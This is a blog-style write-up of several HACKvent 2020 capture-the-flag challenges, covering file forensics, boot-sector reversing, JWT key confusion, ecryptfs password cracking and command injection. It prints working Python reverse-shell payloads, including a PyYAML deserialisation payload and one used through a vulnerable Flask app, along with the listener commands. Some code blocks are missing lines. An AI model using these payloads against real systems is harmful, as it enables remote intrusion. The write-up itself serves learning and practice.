On the ninth day of Christmas my true love sent to me…

nineties style xls,
eighties style compression,
seventies style crypto,
and the rest has been said previously.



  • Wait, Bread is on the Nice list? Better check that comment again…


Wait, what, Excel?! :/

The sheet is password protected; we cannot change anything. But we can select the whole sheet and copy/paste it into a new one. According to the hint, we need to start looking in the column where Bread’s name is. The content of the comment next to Bread’s name is the following:

Not a loaf of bread which is mildly disappointing 1f 9d 8c 42 9a 38 41 24 01 80 41 83 8a 0e f2 39 78 42 80 c1 86 06 03 00 00 01 60 c0 41 62 87 0a 1e dc c8 71 23 Why was the loaf of bread upset? His plan were always going a rye. How does bread win over friends? “You can crust me.” Why does bread hate hot weather? It just feels too toasty. 

I didn’t know what to do at first with this information, so I ignored it for the start.

I downloaded oletools to analyze the Excel-file further. With the command “oleobj” we can find hidden objects in the excel file. 

$ oleobj 5862be5b-7fa7-4ef4-b792-fa63b1e385b7.xls
oleobj 0.56 - http://decalage.info/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues
File: '5862be5b-7fa7-4ef4-b792-fa63b1e385b7.xls'
extract file embedded in OLE object from stream 'MBD018CB2C0/\x01Ole10Native':
Parsing OLE Package
Filename = "part9"
Source path = ".\Source\twelve-steps-of-christmas\part3\resources\part9"
Temp path = "C:\Users\bread\AppData\Local\Temp{D7B743FA-2123-41EA-A49F-4B7EF5005334}\part9"
saving to file 5862be5b-7fa7-4ef4-b792-fa63b1e385b7.xls_part9

And indeed, there is hidden “part9” file. This hidden file contains only hexadecimal numbers.

$ head -n 5 5862be5b-7fa7-4ef4-b792-fa63b1e385b7.xls_part9 

Therefore, we probably need to save it as a binary file and not a text file.

$ cat 5862be5b-7fa7-4ef4-b792-fa63b1e385b7.xls_part9 | xxd -r -p > part9.bin

Binwalk doesn’t recognize any file headers in the file part9.bin. But if we check manually for file-signatures, we recognize that the file starts with the header “1f 9d”. This is the signature for a .tar.z file. Let’s uncompress it and see what is in it:

$ mv part9.bin part9.tar
$ uncompress part9.tar.z
$ binwalk part9.tar 
0             0x0             OpenSSL encryption, salted, salt: 0x5CEAA7A1221F1438

According to the challenge description, we are at the hint “seventies style crypto”. The excel was given and the compression-hint clearly is the “tar.z” file. Crypto out of the seventies clearly must be DES encryption!
Remembering the data we found in the excel file initially, there is a hex string that starts with the bytes “1f 9d”, too. Store this in a file, uncompress it, and see what happens.

$ echo "1f 9d 8c 42 9a 38 41 24 01 80 41 83 8a 0e f2 39 78 42 80 c1 86 06 03 00 00 01 60 c0 41 62 87 0a 1e dc c8 71 23" | xxd -r -p > hint.tar.z
$ uncompress hint.tar.z
$ hexdump -C hint.tar 
00000000  42 4d 4e 88 12 00 00 00  00 00 8a 00 00 00 7c 00  |BMN………..|.|
00000010  00 00 27 02 00 00 27 02  00 00 01 00 20 00 03 00  |..'…'….. …|
00000020  00 00 c4 87 12 00 00 00  00 00 00 00 00 00 00 00  |…………….|
00000030  00 00 00 00 00 00                                 |……|

This is a file with the header of a Bitmap-file.

But what to do now? I lost quite some time here, as I didn’t know how to decrypt the encrypted file. We didn’t find any key so far…

I tried to combine the two files — the hint as header and the part9 as the file’s data part.

$ cat hint.tar part9.tar > picture.bmp

Opening the BMP file with an image viewer shows a distorted picture, but a QR code is clearly visible.

This works because the file was encrypted with DES ECB mode. In ECB, every block of data is encrypted independently of the others. This means if two blocks contain the same content, the encrypted result is the same too. This is the big drawback of ECB mode. In an image with a lot of white and black, it can be possible to reconstruct the images — more information about this on Wikipedia. Very nice theory-lesson in HACKvent! :)

Unfortunately, the QR code is not readable yet. I made the QR code visible in GIMP.

1. Remove all layers but the red one
2. Use "select by color" and select a part of the QR code which would be black
3. Open Select/Selection Editor
4. Profit

Flag: HV20{U>watchout,U>!X,U>!ECB,Im_telln_U_Y.HV2020_is_comin_2_town}

HV20.14 Santa’s Special GIFt (Challenge by The Compiler – Level hard)


Today, you got a strange GIFt from Santa:

You are unsure what it is for. You do happen to have some wood lying around, but the tool seems to be made for metal. You notice how it has a rather strange size. You could use it for your fingernails, perhaps? If you keep looking, you might see some other uses…


Running the “strings” command on the file revealed the first hint. The text “hint:–keep-going” is rotated by 13

$ strings 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif 

In the Gif file, we can see a tool, which is a “file”. Using “file” as a command and combining this together with the hint we found, we find more information:

$ file 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif --keep-going
5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif: GIF image data, version 89a, 128 x 16\012- DOS/MBR boot sector\012-  DOS/MBR boot sector\012- data

We have MS-DOS MBR Boot sector. We can look at this in more detail with “fdisk”.

$ fdisk -l 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif
Disk 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif: 512 B, 512 bytes, 1 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xb5871b1a
Device                                    Boot      Start        End    Sectors   Size Id Type
5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif1      1935977045 3486577492 1550600448 739.4G bb Boot Wizard hidden
5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif2      3450930324 6144586352 2693656029   1.3T b3 unknown
5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif3      1964113441 2943967126  979853686 467.2G 41 PPC PReP Boot
5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif4      1952544354 1952559457      15104   7.4M 72 unknown

Let’s start this with “qemu” and see what happens.

$ qemu-system-x86_64 -m 512 -hda 5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif -enable-kvm
$ gvncviewer

Oh, we get a partially printed QR code. This indicates that the QR code is drawn but interrupted somewhere in between. To get to the ground of this, we need to reverse engineer the image’s boot code. I used IDA free to look at this image, as I had problems with Ghidra and Hopper in opening 8086 16 bit images.

At the position 0x5B – 0x62, we see a comparison. If the comparison is true, the jump (not zero) in the next instruction does not happen, causing the program to halt. The solution to this is to patch 0x61 and 0x62 with 0x90 (No Operation).

Flag: HV20{54n74’5-m461c-b00t-l04d3r}

HV20.H2 Oh, another secret!


We hide additional flags in some of the challenges! This is the place to submit them. There is no time limit for secret flags.


In the code of day 14, another flag is hidden – hidden flag #2! At the beginning of the image, an XOR operation in a loop is happening.

The base address of an MS-DOS MBR Image is 0x7c00. Therefore this leaves us with two byte-arrays to XOR.

--> 55 5d df d5 5d 55 0d 5e 6f 03 39 57 23 11 94 1b de 0c 8c 2b 37 bf 80 53 15 4e 54 94 9a d6 5f
--> 58 57 97 83 6f 65 76 36 5e 67 5d 64 4d 3c a5 75 f3 7c e0 1f 06 d1 ad 66 24 78 3c a3 e7 00 2c

The flag can be calculated by CyberChef.

Flag: HV20{h1dd3n-1n-pl41n-516h7}

HV20.15 Man Commands, Server Lost (Challenge by inik – Level hard)


Elf4711 has written a cool front end for the linux man pages. Soon after publishing he got pwned. In the meantime he found out the reason and improved his code. So now he is sure it’s unpwnable.


  • You need to start the web application from the RESOURCES section on top
  • This challenge requires a VPN connection into the Hacking-Lab. Check out the document in the RESOURCES section.


  • Don’t miss the source code link on the man page


The challenge website looks as follows:

As the hint suggests, we start by checking the source code of the website.

# flask_web/app.py

from flask import Flask,render_template,redirect, url_for, request
import os
import subprocess
import re

app = Flask(__name__)

class ManPage:
  def __init__(self, name, section, description):
    self.name = name
    self.section = section
    self.description = description

def main():
  return redirect('/man/1/man')

def section(nr="1"):
  ret = os.popen('apropos -s ' + nr + " .").read()
  return render_template('section.html', commands=parseCommands(ret), nr=nr)

def manpage(section=1, command="bash"):
  manFile = "/usr/share/man/man" + str(section) + "/" + command + "." + str(section) + ".gz"
  cmd = 'cat ' + manFile + '| gunzip | groff -mandoc -Thtml'
    result = subprocess.run(['sh', '-c', cmd ], stdout=subprocess.PIPE)
  except subprocess.CalledProcessError as grepexc:                                                                                                   
    return render_template('manpage.html', command=command, manpage="NOT FOUND")

  html = result.stdout.decode("utf-8")
  htmlLinked = re.sub(r'(<b>|<i>)?([a-zA-Z0-9-_.]+)(</b>|</i>)?\(([1-8])\)', r'<a href="/man/\4/\2">\1\2\3</a><a href="/section/\4">(\4)</a>', html)
  htmlStripped = htmlLinked[htmlLinked.find('<body>') + 6:htmlLinked.find('</body>')]
  return render_template('manpage.html', command=command, manpage=htmlStripped)

@app.route('/search/', methods=["POST"])
def search(search="bash"):
  search = request.form.get('search')
  # FIXED Elf4711: Cleaned search string, so no RCE is possible anymore
  searchClean = re.sub(r"[;& ()$|]", "", search)
  ret = os.popen('apropos "' + searchClean + '"').read()
  return render_template('result.html', commands=parseCommands(ret), search=search)
def parseCommands(ret):
  commands = []
  for line in ret.split('\n'):
    l = line.split(' - ')
    if (len(l) > 1):
      m = l[0].split();
      manPage = ManPage(m[0], m[1].replace('(', '').replace(')',''), l[1])
  return commands

if __name__ == "__main__":
  app.run(host='' , port=7777)

The challenge is a bit hard, as the page doesn’t return any errors, and you don’t know if you’re on the right track or not.

According to the source code and the challenge description, the function “search” was fixed. But there are still two vectors on the page. Functions “manpage” and “section” still look vulnerable to command injections. It looks easier to do an injection in the function “section”. Therefore I focused on this one.

The goal is to connect to the server via a reverse shell. But we are not able to have any “/” in the payload. A nice overview of reverse-shell-methodologies can be found on Github.

The Python reverse-shell looks quite promising:

export RHOST="";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

I lost some time here because I used the payload with the command “python -c”. Unfortunately, there is no command “python” or a symbolic link with “python”. We have to use “python3”. This can be identified by searching for the manpage of Python on the website, which shows all installed commands on the system.

The final payload, which allowed me to get a reverse shell, looked like this:


On my local machine, connected to the Hacking-Lab infrastructure by VPN, I did run an “nc” listener with:

$ nc -nvlp 13371

Flag: HV20{D0nt_f0rg3t_1nputV4l1d4t10n!!!}

HV20.16 Naughty Rudolph (Challenge by dr_nick – Level hard)


Santa loves to keep his personal secrets on a little toy cube he got from a kid called Bread. Turns out that was not a very good idea. Last night Rudolph got hold of it and frubl’d it about five times before spitting it out. Look at it! All the colors have come off! Naughty Rudolph!



  • The flag matches /^HV20{[a-z3-7_@]+}$/ and is read face by face, from left to right, top to bottom
  • The cube has been scrambled with ~5 moves in total
  • jElf has already started trying to solve the problem, however he got lost with all the numbers. Feel free to use his current state if you don’t want to start from scratch…


Another Rubik’s Cube!! :(

I implemented it in Python and used the Rubik-cube library for the implementation. My initial idea was to brute-force all the possible steps (5^18) and store the fields’ orientations. If all orientations would match after any combination of 5 steps, then I must have the flag.

This challenge was very stressful and a last minute solve. My Python-script took around 20-30 Minutes to go through all the possible steps. I had an error in my implementation, which I could not fix quickly, and I recognized this at around 23:30!!

I changed my implementation to ignore the orientation and just search for “HV20”. I was fortunate that this worked. I did submit this flag at 23:56, 4 minutes before the deadline.

from rubik.cube import Cube
import itertools
import multiprocessing

										{{{i('6',3),i('_',1),i('e',3)},   //           0 -   0° -- schaut nach oben
                                         {i('i',3),i('{',0),i('a',0)},   //           1 -  90° -- schaut nach rechts
                                        {i('e',1),i('s',1),i('3',1)}},  //           2 - 180° -- schaut nach unten
      {{i('H',0),i('V',0),i('7',0)},                                   //           3 - 270° -- schaut nach links
      {i('h',0),i('_',1),i('e',1)},                                   //
     {i('o',0),i('a',2),i('_',2)}}, {{i('_',1),i('w',1),i('e',1)},   //            <-- here the JElf lost his spot ;)
                                    {i('0',0),i('k',1),i('_',1)},   //
                                   {i('c',1),i('d',2),i('a',2)}}, {{i('o',1),i('@',2),i('s',2)},
                                                                 {i('4',2),i('r',0),i('5',1)}}, {{i('i',1),i('s',3),i('l',1)},
                             {{i('h',0),i('p',1),i('}',3)},  //
                             {i('t',1),i('l',1),i('l',3)},  //

moves = ["L", "LLL", "LL", "R", "RRR", "RR", "D", "DDD", "DD", "U", "UUU", "UU", "F", "FFF", "FF", "B", "BBB", "BB"]
start_characters =  "6_ei{aes3HV7_weo@sislh_e0k__t_nsooa_cda4r52c__nsllt}ph"
start_orientation = "313300111000111122131011011122110022122201210311311310"

complete_list = []
for current in range(5):
    a = [i for i in moves]
    for y in range(current):
        a = [x+i for i in moves for x in a]
    complete_list = complete_list+a

def get_chunks(seq, num):
    avg = len(seq) / float(num)
    out = []
    last = 0.0

    while last < len(seq):
        out.append(seq[int(last):int(last + avg)])
        last += avg

    return out

def move(cube, moves):
	length = len(moves)
	for i in range(0, length):
		if moves[i] == "L":
		elif moves[i] == "R":
		elif moves[i] == "U":
		elif moves[i] == "D":
		elif moves[i] == "F":
		elif moves[i] == "B":
	return cube

def print_flag(flag_str):
	# read face by face, from left to right, top to bottom
	return flag_str[:12] + flag_str[21:24] + flag_str[33:36] + flag_str[12:15] + flag_str[24:27] + flag_str[36:39] + flag_str[15:18] + flag_str[27:30] + flag_str[39:42] \
		+ flag_str[18:21] + flag_str[30:33] + flag_str[42:]

def solve_cube(thread_name, _moves):
    for moves in _moves:
        #c_o = Cube(start_orientation)
        c_c = Cube(start_characters)
        c_c = move(c_c, moves)

        res = c_c.flat_str()
        if res.startswith('HV20{') and res.endswith("}"):
        	print("[!!] Found a solution")
        	print("moves: " + moves)
        	c_o = Cube(start_orientation)
        	c_o = move(c_o, moves)
        res = c_o.flat_str()
        if all(elem == res[0] for elem in res[0:8]):
        	print("[!!] Found a solution")
        	print("Correct moves: " + moves)
        	c_c = Cube(start_characters)
        	length = len(moves)
	        for i in range(0, length):
	            if moves[i] == "L":
	            elif moves[i] == "R":
	            elif moves[i] == "U":
	            elif moves[i] == "D":
	            elif moves[i] == "F":
	            elif moves[i] == "B":



if __name__ == "__main__":
    procs = 10
    chunks = get_chunks(complete_list, procs)
    index = 0

    jobs = []
    for i in range(0, procs):
        out_list = list()
        process = multiprocessing.Process(target=solve_cube,
                                          args=("Worker"+str(index), chunks[i] ))
        index += 1

    # Start the processes (i.e. calculate the random number lists)
    for j in jobs:

    # Ensure all of the processes have finished
    for j in jobs:

    print("List processing complete.")
$ python3 sol.py 
 [!!] Found a solution
 le_ w7 5 hi6 s_a lka @to hs
 ida 4r3 o oce
 112 310 121 033
 312 310 220 011
 122 201 110 013
 [!!] Found a solution
 le3 e_4 ad5 hi6
 p_s wks to hsc inc _le @_ ore
 111 112 221 033
 111 113 120 011
 111 331 120 003

Flag: HV20{no_sle3p_since_4wks_lead5_to_@_hi6hscore_a7_last}

HV20.17 Santa’s Gift Factory Control (Challenge by fix86 – Level hard)


Santa has a customized remote control panel for his gift factory at the north pole. Only clients with the following fingerprint seem to be able to connect:



Connect to Santa’s super-secret control panel and circumvent its access controls.

Santa’s Control Panel


  • If you get a 403 forbidden: this is part of the challenge
  • The remote control panel does client fingerprinting
  • There is an information leak somewhere which you need to solve the challenge
  • The challenge is not solvable using brute force or injection vulnerabilities
  • Newlines matter, check your files


If we try to open the link to the control panel, we get a 403 error.

Googling for the weird fingerprint reveals that this is Ja3. Googling further, I was able to find this blog post, which describes how ja3 fingerprints can be impersonated. They even provide a Go implementation of it. Thanks to ludus for the proxy version of the implementation, it was much easier to tackle the challenge with it!

package main

import (

func main() {
	// start proxy
	http.HandleFunc("/", Proxy)
	fmt.Println("About to listen on port 8081...")
	log.Fatal(http.ListenAndServe(":"+"8081", nil))

func Proxy(res http.ResponseWriter, req *http.Request) {
	uri := "https://876cfcc0-1928-4a71-a63e-29334ca287a0.rdocker.vuln.land/"
	serveReverseProxy(uri, res, req)

func serveReverseProxy(target string, res http.ResponseWriter, req *http.Request) {
	// parse the url
	uri, _ := url.Parse(target)
	tr, _ := ja3transport.NewTransport("771,49162-49161-52393-49200-49199-49172-49171-52392,0-13-5-11-43-10,23-24,0")

	proxy := httputil.NewSingleHostReverseProxy(uri)
	proxy.Transport = tr
	proxy.ServeHTTP(res, req)

Now we can access the control panel, or at least the login form of it.

I fiddled with the login form, trying to provoke any error messages or anything. But didn’t get any.

I tried different usernames like “santa”, “admin”, etc for the login. After trying with the user “admin”, the website responded a little differently than before. The source-code included a comment, which was not there before, and we suddenly had a JWT token in our session!

<!--DevNotice: User santa seems broken. Temporarily use santa1337.-->

According to the comment, we now know the username. And we definitely have to focus on the JWT token. Doing some research about JWT exploits, I did come across this explanation.

The “None Algorithm” exploit didn’t work, but the second attack in the article seems very promising.

... an attacker can abuse this. If a server is expecting a token signed with RSA, but actually receives a token signed with HMAC, it will think the public key is actually an HMAC secret key. ...

This means we can create/modify the JWT token and sign it with the public key. The public key can be downloaded from the server itself.

Signing a JWT token can be done by CyberChef. This tool really can do everything! Very important for this attack to work is that the Public-Key must exactly match. And the expiration of the token also must be in the future, of course.

CyberChef returns the JWT token. With this token we can reload the page and get redirected to the control panel.


And we finally find the flag in the source code of the website.

Flag: HV20{ja3_h45h_1mp3r50n4710n_15_fun}

HV20.18 Santa’s lost home (Challenge by darkstar – Level hard)


Santa has forgotten his password and can no longer access his data. While trying to read the hard disk from another computer he also destroyed an important file. To avoid further damage he made a backup of his home partition. Can you help him recover the data.

When asked he said the only thing he remembers is that he used his name in the password… I thought this was something only a real human would do…



  • It’s not rock-science, it’s station-science!
  • Use default options


This challenge was a hell of a ride! Very nice challenge to solve. We start by unpacking the image and mounting it.

$ bzip2 -dk 9154cb91-e72e-498f-95de-ac8335f71584.img.bz2
$ sudo mount 9154cb91-e72e-498f-95de-ac8335f71584.img img

$ tree -lah .
├── [4.0K]  .ecryptfs
│   └── [4.0K]  santa
│       ├── [4.0K]  .ecryptfs
│       │   ├── [   0]  auto-mount
│       │   ├── [   0]  auto-umount
│       │   ├── [  12]  Private.mnt
│       │   └── [  34]  Private.sig
│       └── [4.0K]  .Private
│           ├── [ 104]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7d3jR0N.8eRZ6tCge1bB0sDk-- -> ECRYPTFS_FNEK_ENCRYPTED.FXZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dJ4crkSjoZDbKybFsTcbU3yO9MZ2HbI9q-r8GoG6m0gU-
│           ├── [ 12K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7d71FVjTGpVsJzCndwWUizwk--
│           ├── [ 12K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dAmhR-btY3XiBOwSO2PoBPk--
│           ├── [ 12K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dCUVmirG.GL1fQxxAD3586k--
│           ├── [ 12K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7ddA6PxrTroJKVisYGJ47EK---
│           ├── [ 104]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dDVAbJ.qWUGo9VsA6228ga--- -> ECRYPTFS_FNEK_ENCRYPTED.FXZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7da7uYMlQvW-7PRkhg.A1LcCmrqbiCpUc1VYSQCCaA6.k-
│           ├── [4.0K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dHHFh-OfKDySlXA1OHDc9kE--
│           │   ├── [4.0K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dDx48i0T0jI5URCnvjmXJH---
│           │   │   ├── [ 20K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7d0gl-eBzHzhweHy.hxwrepU--
│           │   │   └── [ 12K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7d4-FSVeCqFM4EKvvgbE.Md---
│           │   ├── [4.0K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dF5Wq-pTCFN4dRBWQwWf-hU--
│           │   │   └── [ 12K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dcPebJwTGr-2huuEfFceP0E--
│           │   └── [4.0K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dYlmFuEbQLRU7XhONkTKeP---
│           │       └── [ 12K]  ECRYPTFS_FNEK_ENCRYPTED.FXZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dm99hH.vn-aClEY-KMvsthXhI-abirzOWcbkjl6t4JBA-
│           ├── [ 12K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dHPZG3mNdhgjB0XYdMv0rkk--
│           ├── [ 12K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7doIjA5NmFV6PqUW5O0D4Rfk--
│           ├── [ 12K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dtEnnKY5yelbZezXFJrTul---
│           ├── [ 12K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dx8yxbRZmYzmSUtn4Vpt5t---
│           ├── [4.0K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dzkmECdlI6niYOUV5xGTJjU--
│           │   └── [4.0K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7d1JDODsETfukf65VhSkI0n---
│           │       └── [4.0K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dH.bKOaBjUbJM2U2TIiU-ik--
│           │           └── [8.0K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dqLfSXNIF5kpOP.NxOzrZyk--
│           └── [4.0K]  ECRYPTFS_FNEK_ENCRYPTED.FWZ07.HM9hn6u-TZiWKrjgW6DXtByC4T9a7dzl-gSPMHg2YAMT2BQA3o.---
├── [ 16K]  lost+found [error opening dir]
└── [4.0K]  santa
    ├── [  56]  Access-Your-Private-Data.desktop -> /usr/share/ecryptfs-utils/ecryptfs-mount-private.desktop
    ├── [  31]  .ecryptfs -> /home/.ecryptfs/santa/.ecryptfs
    │   └── [  47]  wrapped-passphrase -> /home/mcia/hackvent20/18/wrapped-passphrase.bin
    ├── [  30]  .Private -> /home/.ecryptfs/santa/.Private
    └── [  52]  README.txt -> /usr/share/ecryptfs-utils/ecryptfs-mount-private.txt

15 directories, 23 files

Looks like we have an encrypted file-system, but the file “wrapped-passphrase” is missing. In this presentation from the PHDays 2015, we learn more about file encryption. Most importantly, how the “wrapped-passphrase” file is built in detail.

Apparently, this file has been deleted from the file-system. I tried to recover the file with the tool “Photorec” but was not successful. Therefore, the next step was to look in the provided .img file if the file header of a “wrapped-passphrase” file exists. I used “hexedit” to do so.

And found the file at the location 0x05C00000.

This file can be extracted directly with “dd”.

$ dd if=9154cb91-e72e-498f-95de-ac8335f71584.img of=wrapped-passphrase bs=1 skip=96468992 count=58

We now have everything to decrypt the file-system. According to the description, we know that the word “santa” is a part of the password. And the sentence “only a real human would do” is a reference to a specific password wordlist.

First, we need to extract the hash from the wrapped-passphrase file. There is a neat Python tool for this. And secondary, we optimize the wordlist to only contain passwords with “santa” in it.

$ python3 john.py wrapped-passphrase | cut -d ":" -f2 > hash.txt
$ cat hash.txt

$ cat crackstation-human-only.txt | grep -i santa > santa.txt
$ wc -l santa.txt 
13852 santa.txt

Now we can crack the password with “hashcat”.

$ hashcat -a0 -m 12200 hash.txt santa.txt --force
$ hashcat -a0 -m 12200 hash.txt santa.txt --show

We found the password, which is “think-santa-lives-at-north-pole”.

The last step is to mount the encrypted file-system and find the flag. This sounds and should be very straight-forward. Unfortunately, my system was in a b0rked status. I don’t know why, but I wasn’t able to mount the partition. And I lost a lot of time because I thought that I did something wrong. After a fresh boot of my system, everything went flawlessly…

// get the key from wrapped-passphrase to mount the partition
$ ecryptfs-unwrap-passphrase wrapped-passphrase

// Not sure if this step is really needed
$ ecryptfs-unwrap-passphrase wrapped-passphrase - | ecryptfs-add-passphrase --fnek -
Inserted auth tok with sig [7b4f67408a83013e] into the user session keyring
Inserted auth tok with sig [422414d82edcc8e8] into the user session keyring

// mount
$ sudo ecryptfs-recover-private --rw img/.ecryptfs/santa/.Private/          
INFO: Found [img/.ecryptfs/santa/.Private/].
Try to recover this directory? [Y/n]: Y
INFO: Could not find your wrapped passphrase file.
INFO: To recover this directory, you MUST have your original MOUNT passphrase.
INFO: When you first setup your encrypted private directory, you were told to record
INFO: your MOUNT passphrase.
INFO: It should be 32 characters long, consisting of [0-9] and [a-f].
Enter your MOUNT passphrase: 
INFO: Success!  Private data mounted at [/tmp/ecryptfs.povDqHRi].

// get flag
$ ls -lah /tmp/ecryptfs.povDqHRi/
total 132K
drwx------  5 mcia mcia 4.0K Nov 21 10:47 .
drwxrwxrwt 24 root root  12K Dec 18 11:27 ..
-rw-------  1 mcia mcia   45 Nov 21 10:47 .bash_history
-rw-r--r--  1 mcia mcia  220 Nov 21 10:43 .bash_logout
-rw-r--r--  1 mcia mcia 3.7K Nov 21 10:43 .bashrc
drwx------  2 mcia mcia 4.0K Nov 21 10:46 .cache
drwxr-xr-x  5 mcia mcia 4.0K Nov 21 10:43 .config
lrwxrwxrwx  1 mcia mcia   31 Nov 21 10:45 .ecryptfs -> /home/.ecryptfs/santa/.ecryptfs
-rw-rw-r--  1 mcia mcia   46 Nov 21 10:47 flag.txt
-rw-r--r--  1 mcia mcia   22 Nov 21 10:43 .gtkrc-2.0
-rw-r--r--  1 mcia mcia  516 Nov 21 10:43 .gtkrc-xfce
-rw-------  1 mcia mcia  221 Nov 21 10:47 .joe_state
drwxr-xr-x  3 mcia mcia 4.0K Nov 21 10:43 .local
lrwxrwxrwx  1 mcia mcia   30 Nov 21 10:45 .Private -> /home/.ecryptfs/santa/.Private
-rw-r--r--  1 mcia mcia  807 Nov 21 10:43 .profile
$ cat /tmp/ecryptfs.povDqHRi/flag.txt 

Flag: HV20{a_b4ckup_of_1mp0rt4nt_f1l35_15_3553nt14l}

HV20.19 Docker Linter Service (Challenge by The Compile – Level hard)


Docker Linter is a useful web application ensuring that your Docker-related files follow best practices. Unfortunately, there’s a security issue in there…


This challenge requires a reverse shell. You can use the provided Web Shell or the VPN to solve this challenge (see RESOURCES on top).

Note: The VPN connection information has been updated.


My first attempt was to identify all linter services and check if they have known vulnerabilities that could be exploited. Unfortunately, this was a dead end. I tried to find out more about the server, but the only interesting thing is that the web-server is Python

Werkzeug/1.0.1 Python/3.8.2

My first try was to look for Python security vulnerabilities when parsing YAML files. And there are many – now I was sure to be on the right track. I stumbled across this RCE vulnerability of pyyaml, which still is not fixed today!

Again, the server not being very communicative. The only response which told me that I was on the right track was a 500 error. Finally, I found the right payload, it was not one of the three initially described payloads of the link above, but one buried in the comments.

[!!python/object/new:subprocess.Popen {}], ['ls']]]

Here too, the way to success was a Python reverse-shell.

[!!python/object/new:subprocess.Popen {}], [['python3', '-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")']]]]

And on the client:

└─# nc -nvlp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
bash: /root/.bashrc: Permission denied
bash-5.0$ ls
app.py                 linting.py             static
bin                    node_modules           templates
dockerfile_lint_rules  package-lock.json
flag.txt               requirements.txt
bash-5.0$ cat flag.txt    
cat flag.txt

Flag: HV20{pyy4ml-full-l04d-15-1n53cur3-4nd-b0rk3d}

HV20.20 Twelve steps of Christmas (Challenge by Bread – Level leet)


On the twelfth day of Christmas my true love sent to me…
twelve rabbits a-rebeling,
eleven ships a-sailing,
ten (twentyfourpointone) pieces a-puzzling,
and the rest is history.



This challenge can be split into three parts.

Step 1:

Analyze the PNG file with Binwalk.

$ binwalk bfd96926-dd11-4e07-a05a-f6b807570b5a.png 
0             0x0             PNG image, 1632 x 1011, 8-bit/color RGBA, non-interlaced
41            0x29            HTML document header
6152          0x1808          Base64 standard index table
6970          0x1B3A          HTML document footer
7021          0x1B6D          Zlib compressed data, default compression

I first tried to extract the HTML part from the PNG with “dd”. This resulted in a broken HTML page. The right step was just to rename the PNG file and open it with a browser. There is an interesting JS part in the HTML, wich I extracted and “prettified”.

var bL = 1,
    eC = 3,
    gr = 2;
var cvs, pix, ctx, pdt;

function SHA1(msg) {
    function rotate_left(n, s) {
        var t4 = (n << s) | (n >>> (32 - s));
        return t4;

    function lsb_hex(val) {
        var str = "";
        var i;
        var vh;
        var vl;
        for (i = 0; i <= 6; i += 2) {
            vh = (val >>> (i * 4 + 4)) & 0x0f;
            vl = (val >>> (i * 4)) & 0x0f;
            str += vh.toString(16) + vl.toString(16);
        return str;

    function cvt_hex(val) {
        var str = "";
        var i;
        var v;
        for (i = 7; i >= 0; i--) {
            v = (val >>> (i * 4)) & 0x0f;
            str += v.toString(16);
        return str;

    function Utf8Encode(string) {
